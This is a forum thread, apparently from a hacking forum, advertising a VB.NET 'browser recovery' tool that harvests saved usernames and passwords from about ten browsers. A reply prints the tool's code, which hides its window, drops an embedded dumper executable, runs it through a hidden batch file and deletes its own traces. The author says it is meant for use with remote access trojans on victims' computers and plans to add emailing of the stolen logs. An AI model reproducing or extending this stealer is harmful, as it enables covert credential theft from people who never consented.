Narwhal990's Browser Recovery tool is a small executable written in VB.NET that can recover saved usernames, passwords, and the site where it is used. This tool is in the beta stages of development. I currently have a working version where you can run the program and it will dump the recovered data into a text file. If this thread has enough requests I will continue development and create a builder and email function. Here are the browser's it is currently working with: Internet Explorer

Firefox

Safari

Opera

Google Chrome

Chrome Canary/SXS

CoolNovo

Comodo Dragon

SeaMonkey

Flock

Please post below if you're interested in this tool and would like it's further development, or would like a beta release as it currently stands!

Thanks, it already does grab all the emails ? we're actually talking about it emailing the log file generated to a specified email :P

This is not your tool sir. You are just using the tool "Browser Password Dump" from <http://securityxploded.com/browser-password-dump.php>

All you do is drop this file and execute it hidden...

Code Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)

Try

Me.Hide

File.WriteAllBytes("Get.exe", Resources._Get)

Dim writer As New StreamWriter("Write.bat", False)

writer.WriteLine("@ECHO OFF")

writer.WriteLine("Get.exe > Log.txt") writer.WriteLine("DEL ""Get.exe""") writer.WriteLine("more +12 ""Log.txt"" >""Temp.txt""") writer.WriteLine("move /y ""Temp.txt"" ""Log.txt""") writer.WriteLine("del /f /q %0")

writer.Close

Interaction.Shell("Write.bat", AppWinStyle.Hide, False, -1)

```
Me.Close
Catch exception1 As Exception
End Try
End Sub

It dump's everything to a file and then delete's the dump file. It is my tool you just posted my code above ^ is Dreamweaver not adobes tool because it has win32 api calls? good day.

You don't understand what I mean. If you just drop the file and execute it, why don't you just post the "original" file which does the real work for you... all you did was coding a shitty program which executes the real program, gj.

It executes it hidden using shell and dumps it to a file, don't see what's so shitty about that ?

Dreamweaver is a shitty program using your logic, just drop the "original" win32 api.

MaxX0r i hope you know im not trying to be disrespectful... my last comments were pretty rude. i know winapi is a bad example but you have to understand what im saying. all i was doing was implementing this tool marked as freeware into a program to allow ease of access. im sorry this has caused so much drama.... i thought it was clever.

MaxX0r - October 14, 2013, 2:14 pm

All I was trying to say is this:

You are clearly stating in the first post that YOUR tool does the job.
Quote:Narwhal990's Browser Recovery tool is a small executable written in VB.NET that can recover saved usernames, passwords, and the site where it is used.
But the truth is the real program isn't even written in VB.NET & it's not yours. Please make this clear.

Uhm last time i check that it is written in vb.net and its my tool.... its no different than calling an api..

MaxX0r - October 14, 2013, 2:17 pm

The file "get.exe" is 100% not written in VB.NET.. & it's much more different than calling an API.
Anyway I'm out of this discussion. There's no point anymore if you don't want to understand this.

at the moment this was designed for rats, you transfer file and run it on their comp and it generates the Log.txt you can transfer back, i have the code for smtp working but my problem is the builder inserting the strings into the stub (eg email pass and such)

10 downloads yesterday, 2 replies, come on HF i thought you were better than this...
